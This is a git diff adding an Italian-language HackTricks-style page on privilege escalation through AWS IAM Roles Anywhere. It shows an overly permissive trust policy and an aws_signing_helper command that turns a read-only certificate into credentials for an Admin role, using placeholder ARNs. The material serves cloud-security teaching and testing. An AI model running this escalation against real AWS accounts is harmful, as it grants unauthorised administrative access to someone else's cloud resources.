mirror of
https://github.com/HackTricks-wiki/hacktricks-cloud.git
synced 2025-12-29 22:20:33 -08:00
Translated ['src/pentesting-cloud/aws-security/aws-privilege-escalation/
This commit is contained in:
@@ -0,0 +1,42 @@
|
||||
# AWS - IAM Roles Anywhere Privesc
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
AWS IAM RolesAnywhere consente ai carichi di lavoro al di fuori di AWS di assumere ruoli IAM utilizzando certificati X.509. Ma quando le politiche di fiducia non sono correttamente definite, possono essere sfruttate per l'escalation dei privilegi.
|
||||
|
||||
Questa politica manca di restrizioni su quali ancore di fiducia o attributi del certificato sono consentiti. Di conseguenza, qualsiasi certificato legato a qualsiasi ancoraggio di fiducia nell'account può essere utilizzato per assumere questo ruolo.
|
||||
```json
|
||||
{
|
||||
"Version": "2012-10-17",
|
||||
"Statement": [
|
||||
{
|
||||
"Effect": "Allow",
|
||||
"Principal": {
|
||||
"Service": "rolesanywhere.amazonaws.com"
|
||||
},
|
||||
"Action": [
|
||||
"sts:AssumeRole",
|
||||
"sts:SetSourceIdentity",
|
||||
"sts:TagSession"
|
||||
]
|
||||
}
|
||||
]
|
||||
}
|
||||
|
||||
```
|
||||
Per il privesc, è necessario `aws_signing_helper` da https://docs.aws.amazon.com/rolesanywhere/latest/userguide/credential-helper.html
|
||||
|
||||
Quindi, utilizzando un certificato valido, l'attaccante può passare al ruolo con privilegi superiori.
|
||||
```bash
|
||||
aws_signing_helper credential-process \
|
||||
--certificate readonly.pem \
|
||||
--private-key readonly.key \
|
||||
--trust-anchor-arn arn:aws:rolesanywhere:us-east-1:123456789012:trust-anchor/ta-id \
|
||||
--profile-arn arn:aws:rolesanywhere:us-east-1:123456789012:profile/default \
|
||||
--role-arn arn:aws:iam::123456789012:role/Admin
|
||||
```
|
||||
### Riferimenti
|
||||
|
||||
- https://www.ruse.tech/blogs/aws-roles-anywhere-privilege-escalation/
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
Reference in New Issue
Block a user